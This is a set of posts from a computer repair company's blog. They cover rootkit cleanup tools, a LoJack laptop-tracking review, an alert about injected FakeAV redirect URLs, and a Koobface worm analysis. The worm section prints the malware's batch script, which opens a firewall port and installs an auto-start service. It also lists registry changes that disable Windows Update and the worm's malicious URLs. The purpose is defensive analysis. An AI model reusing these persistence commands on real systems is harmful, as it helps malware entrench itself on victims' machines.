Lately we at IFix Computers have been dealing with more rootkit infections than normal. These internet nastiness are much more difficult to cleanup and cause a lot of havoc for the user and their networks.

Rootkits, worms, viruses, Trojans are all different forms of infections and can get on your computer in various ways. Gone are the days of you purposefully needing to download an infected program or open a link in an email. Today’s infections have been called “drive-by downloads” and quite often come from infected websites that you have legitimate reason to be there. The infections are called SQL injections and they have infected PBS, Intel as well as thousands of smaller web sites. The fix for the webmasters is easy and in the case of the big boys mentioned above they were repaired in a matter of hours.
In an article from January 2010 titled “Scareware continues to rise reaching $150 Million“ we went over how to cleanup from an infection and some basic prevention measures. It is my desire to get an updated article out on prevention next week, but right now too many people are dealing with already being infected.

In an attempt to help you after a suspected infection, I went to the ever trusty Mike Rosmis and asked him for a list of what he uses and why. Before you think “but I have an anti-virus program” remember infections occur in different ways, getting a flu shot does not prevent the common cold, diverticulitis or cancer, they occur for different reasons, that is why preventive security is so essential.

Mike has been diligent about finding the best ways to clean up infected computers and has done some tracing of where the main attacks or source of these root-kits are coming from, it appears to be China, though that could be a slight of hand done by the coders of the most recent wave of infections.

DANGER WILL ROBINSON – Mike properly warned me to warn you, we are professionals and know the limits and quirks and “got-yas” of these programs, you CAN really screw up your entire computer if something goes awry. If you can afford it, have a professional IT company do this work, at IFix Computers we currently charge between $150 and $200 to do the work described below.

From Mike – Here’s a list of my current A/V tools:
1. TDSSkiller – from Kaspersky.  It scans system32 files and the MBR.  Good to start with this because it’s effective and usually takes no more than 30 seconds to run, even if it finds a rootkit.  It primarily scans for and removes TDSS, TDL3, Alurion, and others.  Symptoms of a rootkit are browser redirection, large quantities of junk files & folders.

2. MBRfix – found on the Mini P.E. CD.  It rewrites the MBR with a generic XP boot sector.  More complicated and time consuming than TDSSkiller, but effective when Windows just won’t cooperate.  It is also useful if TDSSkiller or Combofix hose up your boot sector.
Kent’s note: we only use this on Windows XP machines, not for Vista or Windows 7. If someone has built or knows of a Mini PE for Vista and 7, we would love to know about it.

3. Combofix - The Big Daddy.  Checks for rootkit activity; steps through Windows startup looking for odd behavior; scans system files, replacing infected files with known good files.  Allow at least 20 minutes to run. This program is known to be updated several times a day so be sure to get the latest updates.  Always get a fresh copy.
Kent’s note: this program needs to be run directly from the desktop, not a USB drive or from another folder. I also prefer to run it while the computer is booted into “Safe Mode” first and then again at the regular desktop.

4. Autoruns - Use this if you can’t get to the desktop in Normal Mode and can get to Safe Mode.  It allows you to stop things like ‘hsuebvbhjsg.exe’ from starting up.

5. Spybot Search & Destroy – a good malware scanner, provides passive browser protection through a manually updated hosts file, shows you which BHO’s (Browser Help Objects) and ActiveX’s are installed, has a process explorer and an alternative registry cleaner. Allow 20 minutes for the scanner.  You have to manually tell it to fix what it finds.
Kent’s note: You should right-click on the icon and choose “Run as Administrator” in Vista and I do the same in Windows 7. Also you want to use the “Immunize” and (when in the Advanced Mode) under the “Tools” section go through the “ActiveX”, “BHOs”, and load the “Host File”.

6. MalwareBytes - good, simple malware scanner for civilians.  Update it and run it.  You also have to manually tell it to fix what it finds.  Allow an hour-and-a-half to run for the full scan.
Kent’s note: Under the “Settings” tab, be sure “Terminate Internet Explorer during threat removal” is selected.

7. ESET anti-virus - When properly configured, this program blocks a lot of infections the others don’t. It is also very “light” on system resources allowing you more horsepower to do what you need to on the computer. It cleanups op a lot of crud and can be run in safe mode as a command line tool (don’t be afraid, just run it and it automatically goes to the command line and does what is needed). If you are infected, I would run this in “Safe Mode” after running Combofix.

Well that is it, will this clean all infections? “No”, did we give you every step in configuring these programs? “No”. However, we have given you the tools do clean up your computer as best we can in this short space.

Until we meet again, have a virus (and root-kit) free week.

Unfortunately the client had purchased big box store laptops both times instead of from a local professional company such as IFix Computers. Why? Because they were “cheaper”. Just a quick reminder, there is a reason that small independent IT companies charge more, quality is the biggest reason (unless they are just name brand resellers and not actual builders). There are other reasons such as service and the purpose of this article, theft recovery.

There are several parts of theft recovery and data security. Intel provides a couple of options, one is TPM (Trusted Platform Module) which you can read about here http://www.intel.com/design/mobile/platform/downloads/trusted_platform_module_white_paper.pdf
TPM, in part, provides the layout for laptop security. Included in quality laptops and computers are the Intel VPro chips, they provide the ability for remote access and better yet, tracking of the hardware (desktop PC or laptop) http://www.intel.com/technology/vpro/index.htm. Combined these are a powerful tools for managing, remote work and locating computers. For them to be easily used software is added, one such software program is LoJack by Absolute Software.

Since not all computers have this technology (or similar) built in, 3rd party software programs have also been created to duplicate this process. After researching several programs I narrowed my tests down to Absolute Software’s LoJack. It works alone or in conjunction with laptops setup with TPM and VPro (which I highly recommend).

Let’s get to the meat of this article, after installing LoJack on my personal laptop and giving it a kick for 45 days, I figure I should report my basic results back to you.

First I want you to know, the software did not affect my laptops performance. It did not slow down standard operations (email, spreadsheets…) or internet usage. It has occasionally popped up a reminder that the software is on my laptop and included a one sentence recovery story, no big deal, it goes right away.

There are two versions of LoJack, the “Standard” and “Premium”, the latter adds a $1,000 guarantee plus better tracking. According to the Absolute Software web site, “If we don’t recover your stolen computer or enable the Data Delete service, you could be eligible for a Service Guarantee payment of up to $1000”. The difference in price is $39.99 for 1 year of the Standard and $59.99 for the Premium version. Three year subscriptions are available for $89.99 and 109.99 respectively, not a bad price for the services offered.

So what services are included you ask. I am glad you did. First and the most important in my opinion is the theft recovery, after all most of us who use laptops have our life on them. A great backup system will provide for the loss of data or even a complete system restore, but somehow our laptops become part of us. If you don’t believe it, just leave yours at home during a business day and see how you react, enough said. An advantage of LoJack is this is not a program you install and you track if lost or stolen (though you can log on to your account and track where the laptop has been). Absolute Software works with the police in recovering your laptop, one less worry or stressor in your life.

Another part of the LoJack program is what they term as “Data & Device Security”. This is Absolute software’s “Data Delete” portion. You use the Data Delete program to erase your information remotely. This keeps thieves out of your e-mail, personal documents and programs (such as your accounting software). If you don’t want to erase your computer, you can also prevent access to your computer by freezing it remotely and adding a pop up message on the screen telling the crooks you did so. I would not recommend this, you just gave away the chance of catching the thieves, once alerted they will ditch the laptop or destroy it and then ditch it.

The third part of LoJack is the ability to locate a missing laptop. The Standard version falls short here, it only shows IP address locations. This is a Generic “Springfield, Missouri” type location on a map, effective only if you travel a large area, not so great if you stay local. Plus it is not a big help to the police, they don’t have time to do all the work required narrowing down an IP location. The Premium version is supposed to give QPS to the exact location of the laptop on a map. Unfortunately I only tried the Standard version so I cannot report how well this works.

With either version you get to create an account on the Absolute Software web site where you can update your information, track the laptop, enable the protection services, by filing a missing laptop claim.

My take, LoJack is worth the expense. For such a small price you don’t need to replace a laptop, restore the data and feel violated, as you would otherwise would. It is easy to use, does not eat up system resources and is part of good plan for your data protection. Part of a plan you ask, yes, remember to backup your data, have surge protection, and have proper security, all things we have discusses here.

Until we meet again, have a virus free week!

Malicious script codes were inserted and being served in webpages which when triggered redirects to malicious links that serves FakeAV malware.

The following are some of the reported Malicious URLs inserted on compromised webpages:
• alexblane(dot)com/ur.php
• alisa-carter(dot)com/ur.php
• books-loader(dot)info/ur.php
• lizamoon(dot)com/ur.php
• milapop(dot)com/ur.php
• t6ryt56(dot)info/ur.php
• tadygus(dot)com/ur.php
• Worid-of-books(dot)com/ur.php
All of these URLs resolve to single IP:   91.213.29.182
SonicWALL Gateway AntiVirus provides protection against this threat via the following signatures:
• GAV: ScrInject.UR (Trojan)
• GAV: Suspicious#asprotect (Trojan)

If you don’t have a SonicWALL with the Gateway AntiVirus (or Comprehensive Security Suite), it is just a matter of time until this pops up on your network. Be prepared or better yet, contact IFix Computers for a SonicWALL that will protect your network.

Until we meet again, have a Fake AV free week!

Modify your FaceBook places

Privacy Settings – by the U.S. Navy

Download them, print them and pass them along.

Until we meet again, have a virus free week.

Sonicwall Research team has discovered a new malicious Worm spreading in the wild. The Worm spreads via Facebook profiles and as part of its post-infection activity, it installs Fake AVG antivirus security software.

Upon installation the Worm informs the user that it needs to perform a “Scan” of the system:

It performs a fake system scan which is hosted on a Fake AV web page:

When clicking on “Remove all” or “Cancel” it attemps to initiate the download of:

•bitav_2053_ext6.exe [Detected as TDSS.ABCR (Trojan)]

The worm will periodically cause pop-up messages such as in the screenshot below:

When clicking OK to such pop-up messages the Worm will bring up further Fake AV pages which attempt to download more malware to the infected machine such as: pack.exe [Detected as SecurityTool.W (Trojan)]

Make sure your AntiVirus provides protection against this threat via the following signatures:

Koobface.HJV (Worm)
Koobface.HJV_2 (Worm)
Koobface.HJV_3 (Worm)
Koobface.FF (Trojan)
Delf.EM (Trojan)
TDSS.ABCR (Trojan)
SecurityTool.W (Trojan)

So if you see this happening, get off the internet, reboot your PC and run a complete system series of scans. Check out our past article on how to remove this type of infection.

Here is some more technical jargon about it for those wishing to geek into it.

The Worm performs the following DNS queries:

•www.google.com
•facebook.com
•www.facebook.com
•d.static.ak.fbcdn.net
•x-treme-radio.host22.com
•www.ashiww.com
•www.wahdohotel.nl
•kingswoodwright.com
•kbfgb.greyzzsecure9.com
•3064972.greyzzsecure9.com
The Worm attempts to load various web pages using random page names with the .css extension:
•http://206.160.{removed}.9/rsrc.php/yW/r/Xx2bs9YPnF_.css
•http://206.160.{removed}.9/rsrc.php/ye/r/vOYlUxHAn95.css
•http://206.160.{removed}.9/rsrc.php/yS/r/w4doJXgUPVR.css
•http://206.160.{removed}.43/rsrc.php/yX/r/pWROpoRFF42.css
•http://206.160.{removed}.9/rsrc.php/y4/r/LIj01FurENH.css
•http://206.160.{removed}.9/rsrc.php/yE/r/4Kozs88a56s.css
•http://206.160.{removed}.43/rsrc.php/yQ/r/dvBK5Hfjbcc.css
•http://206.160.{removed}.43/rsrc.php/y-/r/Ki5kfy7_Bje.css
•http://206.160.{removed}.9/rsrc.php/yL/r/u8Bue217GRs.css
•http://206.160.{removed}.9/rsrc.php/yW/r/Xx2bs9YPnF_.css
The Worm installs the following files on the system:

•C:\Documents and Settings\{USER}\Local Settings\Temp\feb.bat
•C:\Documents and Settings\{USER}\Local Settings\Temp\zpskon_1296703528.exe [Detected as GAV: Koobface.FF (Trojan)]
•C:\Documents and Settings\{USER}\Local Settings\Temp\zpskon_1296699165.exe [Detected as GAV: Delf.EM (Trojan)]
•C:\WINDOWS\5456456z
•C:\WINDOWS\bt7.dat
•C:\WINDOWS\jjp156.exe [Detected as GAV: Koobface.HJV_2 (Worm)]
•C:\WINDOWS\system32\feb.dll [Detected as GAV: Koobface.HJV_3 (Worm)]
•C:\WINDOWS\system32\drivers\feb.sys [Detected as GAV: Koobface.FF (Trojan)]
feb.bat contains:
netsh firewall add allowedprogram name=”feb” program=”C:\WINDOWS\system32\svchost.exe” mode=enable
netsh firewall add portopening tcp 8087 feb enable
sc create “ffeb” type= interact type= share start= auto binpath= “C:\WINDOWS\system32\svchost.exe -k ffeb”
reg add “hklm\system\currentcontrolset\services\ffeb\parameters” /v servicedll /t reg_expand_sz /d “C:\WINDOWS\system32\feb.dll” /f
reg add “hklm\system\currentcontrolset\services\ffeb” /v failureactions /t reg_binary /d 00000000000000000000000003000000140000000100000060ea00000100000060ea00000100000060ea0000 /f
reg add “hklm\software\microsoft\windows nt\currentversion\svchost” /v ffeb /t reg_multi_sz /d “ffeb\0″ /f
sc start ffeb
feb.dll contains a list or URL’s all of which are either taken down or lead to blank pages at the time of writing. Below is a sample of the URL’s contained feb.dll:
•impri{removed}.gr/.lhinrs/
•hk{removed}.org/.ycguh3/
•roomservi{removed}.com.au/.9mov05w/
•nubs.wo{removed}.co.uk/.7txq/
•lenga{removed}.com/.ck5rg8/
•cayenneo{removed}.com/.fplf/
•www.dead{removed}.co.uk/.qe9v/
•ib{removed}.org.il/.5cei7f9/
•www.kurdist{removed}.com/.x5fyik/
•heali{removed}.co.za/.12vatd/
•forwardmar{removed}.org/.6sta03t/
•numerus-{removed}.fr/.li81/
•fino{removed}.com/.ea2cuwa/
•fe{removed}.co.za/.jts51/
•tarr{removed}.com/.5fu3/
•toppla{removed}.nl/.vfnc/
•www.fishingfo{removed}.com/.5wmm9/
The worm installs the following registry keys to ensure startup of jjp156.exe and the feb.sys driver:
•HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer NoAutoUpdate dword:00000001
•HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer NoWindowsUpdate dword:00000001
•HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost ffeb hex(7):66,66,65,62,00,00,
•HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run dfg49df “c:\windows\jjp156.exe”
•HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_FEB NextInstance dword:00000001
•HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_FEB\0000 Service “feb”
•HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\feb ImagePath hex(2):”\??\C:\WINDOWS\system32\drivers\feb.sys”